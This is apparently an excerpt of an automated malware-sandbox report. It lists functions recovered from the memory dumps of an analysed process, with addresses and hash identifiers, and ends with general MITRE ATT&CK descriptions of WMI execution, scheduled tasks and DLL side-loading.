Opcode Fuzzy Hash: 6b923413891f18d9d0cb3e8053a2aa5ef433249c38b0dcf31a3e5c4d1306cbd9
Instruction Fuzzy Hash: BA514170F105199FDB54DF68D8A0BAE7BF6FB88310F508569D509EB744EB38AC018BA0

Function 06CCFCD7 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4faef1292e8e080ab10fa1446210899337bd4cc8c2db93965301f2b8e3d127a6
Instruction ID: 508ec2d0925dabe9f5453561288b05ef1dcc626b1dfa1bbe5f2c7bef8b3e1a8c
Opcode Fuzzy Hash: 4faef1292e8e080ab10fa1446210899337bd4cc8c2db93965301f2b8e3d127a6
Instruction Fuzzy Hash: 3951DF31E002149FDB64AFB8E4546ADBBB3FF89321F10887DE126D7251DB358955CB90

Function 06CC56B0 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5a0921f405c3039be9bb8b2570141e7007b79d5be0199fd1f7d7ef95234ac89
Instruction ID: 08e6561169a19aeb0838e31bd74f90ad1f674016f1a31510ab91a7519623b0b3
Opcode Fuzzy Hash: a5a0921f405c3039be9bb8b2570141e7007b79d5be0199fd1f7d7ef95234ac89
Instruction Fuzzy Hash: 7651A734E202058FDF708B69C4C077EBBB2EB45320FA4886ED55ADB281C635E991DB91

Function 06CCFA88 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e955cc4c5120e8a6726553b299186837fbf9a1b25be7c6fcd02d859ec7713a2
Instruction ID: d25beba6d43181685e95a83832e626709ddd25dff8ffd3a4ad13f0a27e717627
Opcode Fuzzy Hash: 0e955cc4c5120e8a6726553b299186837fbf9a1b25be7c6fcd02d859ec7713a2
Instruction Fuzzy Hash: 045163B4B102158BEFA4ABB8D96476F666BEBC9360F20443DE51BD7390CA7CCD4143A1

Function 06CCC908 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8eb53010c06231a0c82080ec2f02e2af8d9bb6eac4ed0d4617f909a0213e58a
Instruction ID: 5022b6ce8523c502af2d1e47da1d1e75ef85bc79d508e1d6f222f56d1ed64c74
Opcode Fuzzy Hash: f8eb53010c06231a0c82080ec2f02e2af8d9bb6eac4ed0d4617f909a0213e58a
Instruction Fuzzy Hash: A6515F74B002198FDB55EFB5D990A9EB7B2FBC8310B208579D405AB354DB75EC42CB90

Function 06CC4C71 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80404529e10089475f154bf40a7678bf5e3c5bca3c78c4f849dda0b3a6510175
Instruction ID: 2f20c94a5d4f9a8b9b4dafb57e63673637fd93a40ad52aa7475244f8881825f0
Opcode Fuzzy Hash: 80404529e10089475f154bf40a7678bf5e3c5bca3c78c4f849dda0b3a6510175
Instruction Fuzzy Hash: E5517070F002189FDB54DBA9C8547AEBBF6EF88700F20C52DD506AB395DA759C058B90

Function 06CCDBE5 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e52f89fcc916eabed709c8d02f87f338ea33ee46c6dc26e16cd230b2ddad1c
Instruction ID: 6ec1d422f5dbc5498d506eff67ca134c576f599aa50d37be408bd31f1db21cab
Opcode Fuzzy Hash: 06e52f89fcc916eabed709c8d02f87f338ea33ee46c6dc26e16cd230b2ddad1c
Instruction Fuzzy Hash: 91419F70E0020A9FDB60DFA5D89469EBBB2FF85750F20453DD412E7240EB74E946CB91

Function 06CC5529 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6143cf37febe12231867dba03d30606041353e8ba75fc0bf8aa691849f2b8581
Instruction ID: 4ccacd0cf97043828193e3c6cc2685c93413f4bd2da8d514ece5a429c8b7d330
Opcode Fuzzy Hash: 6143cf37febe12231867dba03d30606041353e8ba75fc0bf8aa691849f2b8581
Instruction Fuzzy Hash: 75417F71E006098FDF60CF99D880AAEFBB2EB45220F50492ED156D7650D331F969CB91

Function 06CC21D0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40abb4561ee8137e5007ea366c6b30229b7bfab0570c96f5e46fffa57427dc3
Instruction ID: 097816ff87e42a108c49b24b66388e16722f6e0d4ac2d2204a7f9b66b8f51832
Opcode Fuzzy Hash: c40abb4561ee8137e5007ea366c6b30229b7bfab0570c96f5e46fffa57427dc3
Instruction Fuzzy Hash: 6C31CF30B102059FDB649B78D46866E7BA2BF89760F14452CD402EB395EF39DE01C7A1

Function 06CC2080 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14334c35379530728862b2f81546c6b13b746bf0b68c035dafead7e8fe78a4f5
Instruction ID: b64a512e7e2c2080084602cbff23734383a9e0828dd2db1127368af55ebf8fc7
Opcode Fuzzy Hash: 14334c35379530728862b2f81546c6b13b746bf0b68c035dafead7e8fe78a4f5
Instruction Fuzzy Hash: B5318E30E006959BCB55DF68D854A9EBBB2FF89310F10852EE906EB350DB35EE42CB50

Function 06CCDA98 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57b872b56f7c87f003a3cfaf7193e1d9eaa49a4c37dc185bbdca9bac2b2b58c
Instruction ID: 1eb187345090de600a2095a6208df753a50e9c0cd0d91489a3f4de7370ac9c46
Opcode Fuzzy Hash: b57b872b56f7c87f003a3cfaf7193e1d9eaa49a4c37dc185bbdca9bac2b2b58c
Instruction Fuzzy Hash: 3E316F70E1071A9BDB24DF69D99069EB7B2FF85310F20493DE406EB344EB71A946CB81

Function 06CC2090 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21a52e6693d26133880e1549a94d4131f9d8ed1197c2699d2a09a8b0b98cfd2
Instruction ID: c7f1a7300a44dd4cf11986b1e4134b19bf543a00ddbad2700b3214d1eaef7936
Opcode Fuzzy Hash: d21a52e6693d26133880e1549a94d4131f9d8ed1197c2699d2a09a8b0b98cfd2
Instruction Fuzzy Hash: C5316D30E006599BCB55CF68D85469EB7B2FF89310F10852DE906EB350DB75EE42CB50

Function 06CC3FC1 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730a780d9b51d8b49442e05f24cf35696a2211f95be4105b992fa1ba51037844
Instruction ID: 8cb1f0e1c39b4ff824c6e675e2e4ca910ebea1ca5a76712cef5fdb26a877df83
Opcode Fuzzy Hash: 730a780d9b51d8b49442e05f24cf35696a2211f95be4105b992fa1ba51037844
Instruction Fuzzy Hash: 93216875F412149FDB10DF6DD980AAEBBF5EB48720F148029EA04E7340EB39ED018B91

Function 06CC3FD0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe52615ae1bdc5ecd74b6664651d1e921bc62c08de2afb8cde6ac408d401ab0c
Instruction ID: 2ea6e5714d7549748af2c7d324545070819a93e0f833525c7bf42d68238240e0
Opcode Fuzzy Hash: fe52615ae1bdc5ecd74b6664651d1e921bc62c08de2afb8cde6ac408d401ab0c
Instruction Fuzzy Hash: 83217775E012549FDB50CF6DD980AAEBBF5EB48720F14802AEA04E7340EB39ED00CB90

Function 06CCA420 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576c9c41e3a3eca5a3b4e4a0e4e1d09e879fa980a5b35569a909385addeb6225
Instruction ID: 70e6cc820577203e9924997c300cc0c764f7ab1c10b4909b65d61d0821d70aba
Opcode Fuzzy Hash: 576c9c41e3a3eca5a3b4e4a0e4e1d09e879fa980a5b35569a909385addeb6225
Instruction Fuzzy Hash: 38110431F101185FDB60CABCE888BAE77E5EB85320F00453DE60AD7751DE29DE028391

Function 06CCB038 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ed18ab48494f84bed26ac4f9124f33926b5d5817cbd093dae02aebddb2bb01f
Instruction ID: 27a5fc145973804985d4b4f5be5d76d8426bf9e020f799a8e18f2e2e2dce1cd5
Opcode Fuzzy Hash: 1ed18ab48494f84bed26ac4f9124f33926b5d5817cbd093dae02aebddb2bb01f
Instruction Fuzzy Hash: 0E217C71D107598BDF64CFE9C85169EBBB6FF85350F14492ED805EB200EB70A985CB81

Function 012CD1F8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4f2e5852dea9a5baa5a87f46c66f4ae04bb796500337b9cea870592430e87a
Instruction ID: 74b9d025be90fb4091041d509068004a5db4f7443946ad0cd87eb6664926d18c
Opcode Fuzzy Hash: 5a4f2e5852dea9a5baa5a87f46c66f4ae04bb796500337b9cea870592430e87a
Instruction Fuzzy Hash: AD210471514248DFEB11DF94D9C0B2ABB66FB84724F24C67DEA090B247C376D846CAE2

Function 012CD3A8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9b0eb2e1e132898d69db78c9ba775a87fb1c1be3b5fa23471eb600d9cdcc95
Instruction ID: 42f2b1923de92354168b0a8b4547a5dfd8b1d0cd5e9ef1acabd15a4fdf5bc71f
Opcode Fuzzy Hash: 7e9b0eb2e1e132898d69db78c9ba775a87fb1c1be3b5fa23471eb600d9cdcc95
Instruction Fuzzy Hash: 272133B1510248DFDB10DF94D4C0B26FB65EB84714F20C6BDDB094B282C376E846CAA2

Function 012CD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b31b8bb95ee8c4a88273b83ff775f546e71981db299f0f4cb01ba541fe3c2db
Instruction ID: 99516248e23e45e726b0092455138ece51546ad17656b07cb1adbc595892a6a7
Opcode Fuzzy Hash: 8b31b8bb95ee8c4a88273b83ff775f546e71981db299f0f4cb01ba541fe3c2db
Instruction Fuzzy Hash: E1210371514248DFDB11DF58D9C0B26BB65EB84714F24C67DDA094A282C376D446CAA2

Function 06CC3508 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d3b97f3cd0bca83aade94825479c2f702812b5251ee0e8de56a05c8eae81ddb
Instruction ID: a01aa30395e81765370393cd7dd0d2dfeab62ff76b3c91540d7e3c68e78d5f3f
Opcode Fuzzy Hash: 8d3b97f3cd0bca83aade94825479c2f702812b5251ee0e8de56a05c8eae81ddb
Instruction Fuzzy Hash: D421E170A043945FDB559B789C501DEFFB5EF8A320F0484ABD04AEB281DA309E44CBE2

Function 06CC40E0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97c52e35aeb46ac71df9e8775ce0454daba971308599ec07dbe4a722c56fec3
Instruction ID: 9a9945209ca5a13bcd49a6ec2940c0656bde3310610b2444c49a1b27a036411c
Opcode Fuzzy Hash: d97c52e35aeb46ac71df9e8775ce0454daba971308599ec07dbe4a722c56fec3
Instruction Fuzzy Hash: 58113C36B105284BDB58DA7CD8246AE77FAEBC8761B00C539D50AE7340EA65DC1287A1

Function 06CCF2B8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f96039aee8923847e4b1074b947ae78687231d217fbbe7439ff7b98a923ab04
Instruction ID: bb0c1b6ff1be5d396a1765b4bbf25fe5b5ea135f4ed8db966057b8432914006a
Opcode Fuzzy Hash: 0f96039aee8923847e4b1074b947ae78687231d217fbbe7439ff7b98a923ab04
Instruction Fuzzy Hash: FE01F534B041501FDB718B7CD464B6F7BE6DFC9224B14842EE509CB341DA25DD028391

Function 06CC3D99 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d90fdcbd4de17f395f93d099ed196e278648d79da93ccf2b4d6f3e1c78492c7
Instruction ID: fb894dab3f926b971eed69b89ff6cf64c11cd3a40055cc91dd1b28c23cb19b58
Opcode Fuzzy Hash: 7d90fdcbd4de17f395f93d099ed196e278648d79da93ccf2b4d6f3e1c78492c7
Instruction Fuzzy Hash: 0C21E3B5D01259AFDB10CFAAD884ADEFBB4FB49210F10812AE918A7300D375A954CBE5

Function 012CD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 260593614d6264c6ded2ba67aed154f303fa42251dd91cb94412d578ef2bce5b
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: B411BB75504284CFCB12CF58D5C0B15BBA1FB84714F28C6AEDA494B697C33BD44ACBA2

Function 012CD1F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d692a0047d57c856fe9c281bc03ca2a8a9bd8913fa11d24a2e87d76695bbbe94
Instruction ID: e545303090e35259072e1577c480db2df85410b80c91ada64924ba657f362da1
Opcode Fuzzy Hash: d692a0047d57c856fe9c281bc03ca2a8a9bd8913fa11d24a2e87d76695bbbe94
Instruction Fuzzy Hash: EC11DD76504284CFDB12CF54D5C4B15BB62FB84724F28C6AEDA490B647C33AD40ACBA2

Function 012CD3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3855162082.00000000012CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12cd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 2fb332a78dfd9ef1c29f72de9f4ec9399231e1434bdb3de5717388d4cbac96dc
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 6F11EE75504284CFCB12CF54C5C0B55FBA1FB84314F24C6AEDA094B292C33AE44ACB92

Function 06CC4327 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a6802c0a0a58fa45ce0ad00bef63544ac02a711f49dea94ffdc9abd43babbd
Instruction ID: 9c972cfeae7f6aa5ece983020462f554045feaafecea0d53d260b2666ac0ff1c
Opcode Fuzzy Hash: 42a6802c0a0a58fa45ce0ad00bef63544ac02a711f49dea94ffdc9abd43babbd
Instruction Fuzzy Hash: 5E016D35B100241BDB6895BD9564B2FB3DBDBCA720F18C43EE60EC7344D965DD4247A1

Function 06CC3DA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 724c510efe8a872ec9f028d1f90aefa431ed15d625deb7c206a3572b0c92613f
Instruction ID: bd5a079f950dc206e68f210852c22530c51a9db6a0d1810a7c74ffea547c470f
Opcode Fuzzy Hash: 724c510efe8a872ec9f028d1f90aefa431ed15d625deb7c206a3572b0c92613f
Instruction Fuzzy Hash: BB11D0B5D01259AFCB00DF9AD884ADEFBB4FB49320F10812AE918B7340C375A954CFA5

Function 06CC4328 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0894247088519ffbdd6366d34d2cfe1377366bdf65ab6abc2a3a4c4862926ba4
Instruction ID: 78bae51d57a3def60717218876b34f669632f192de5928c2d4b82075730a8aea
Opcode Fuzzy Hash: 0894247088519ffbdd6366d34d2cfe1377366bdf65ab6abc2a3a4c4862926ba4
Instruction Fuzzy Hash: 84016935B100241BDB6895AD9564B2FA3DBEBCA720F28C83EE60EC7384D966DD024791

Function 06CCF2C8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c43499a0747e73e295b6aff724015a01c0ee31944cd82da71712485fbb1e479
Instruction ID: 9138dc78c5182347c043c958428e848e4212de769cb145152d2e755d1f445976
Opcode Fuzzy Hash: 2c43499a0747e73e295b6aff724015a01c0ee31944cd82da71712485fbb1e479
Instruction Fuzzy Hash: 0C016935B100141BDB659A7DA454B2E67D6EBC9624F24883DE50ACB344EE65DD024392

Function 06CC40DF Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a86700f476b5ca6be2f2571cbb8fc6c8964430cb0002284b043f0f6ecf92a2
Instruction ID: 4dc50ab532e5cf76d968a48ffe36e35c00d05671eaea74b08777482d7316c5cc
Opcode Fuzzy Hash: e5a86700f476b5ca6be2f2571cbb8fc6c8964430cb0002284b043f0f6ecf92a2
Instruction Fuzzy Hash: 46016232B100144BDB58997D9C206AF76FAEBC8761F00813DD609E7240EE65DD1147E1

Function 06CCA430 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6269486a5588d7274326bbeb6f33813e4b11659ada9d7d89ed70ceea3c99d408
Instruction ID: f11e3bfaee5699f2b6e8df8d47c85d907163b08d1c0dddf8ad30a838560fd78b
Opcode Fuzzy Hash: 6269486a5588d7274326bbeb6f33813e4b11659ada9d7d89ed70ceea3c99d408
Instruction Fuzzy Hash: 5B014430B104185FDB64DABCE958B6A73D6EB89724F10483DE20AD7754DE29ED0287D1

Function 06CCC907 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac55e5450492f97abeab560097af6a2d07ed0db15e48f428842e20d40c39369e
Instruction ID: 1dd6a4d469029119eab862f5fee20f022a83d13ef900dcddd7ad375a9a8cb22a
Opcode Fuzzy Hash: ac55e5450492f97abeab560097af6a2d07ed0db15e48f428842e20d40c39369e
Instruction Fuzzy Hash: 6001F471B10228ABDF249A79EC80A9AB779FBC5364F00443DE905EB340DA36AC058BD0

Function 06CC83E8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7690f37e920c8846273e762a2ee9a0087a646fa2da1b982a788975e4590ed30b
Instruction ID: 88fa9dca792c753e4219c5dd9f089cc64b79d5b562cafd8fa4eddfd887a14d7e
Opcode Fuzzy Hash: 7690f37e920c8846273e762a2ee9a0087a646fa2da1b982a788975e4590ed30b
Instruction Fuzzy Hash: 99F0DC35B022009FDF64CE55EAA02AA7B69EB80260F00447EDA04EB251C739EA02CB81

Function 06CC6588 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7092622ecad3f9c3fabc46241e60713281022759c4db9a362a6c0f3186f0e3
Instruction ID: 30bcbf7aae8d94e79ea05d466d142461c9eb7be5cf173c367f4511f59a26fe48
Opcode Fuzzy Hash: 6c7092622ecad3f9c3fabc46241e60713281022759c4db9a362a6c0f3186f0e3
Instruction Fuzzy Hash: 86E061B0D042486FDF20CB71CD0576977BCD741124F6140EDD808D7207E131CB418791

Function 06CC4B69 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f96acdcd08dd3df545be41cf64c8ad739afe873e9adf46ed11aa7d0e7e3f596
Instruction ID: dac0998435508b35ff59c76e63d84354fc30ce757b349d17e3cebefab33c234d
Opcode Fuzzy Hash: 5f96acdcd08dd3df545be41cf64c8ad739afe873e9adf46ed11aa7d0e7e3f596
Instruction Fuzzy Hash: 3BF0B730A54129EBDB14DB94E8A8BAEBBB2FF48714F208519E402A7294CB701D41CB80

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
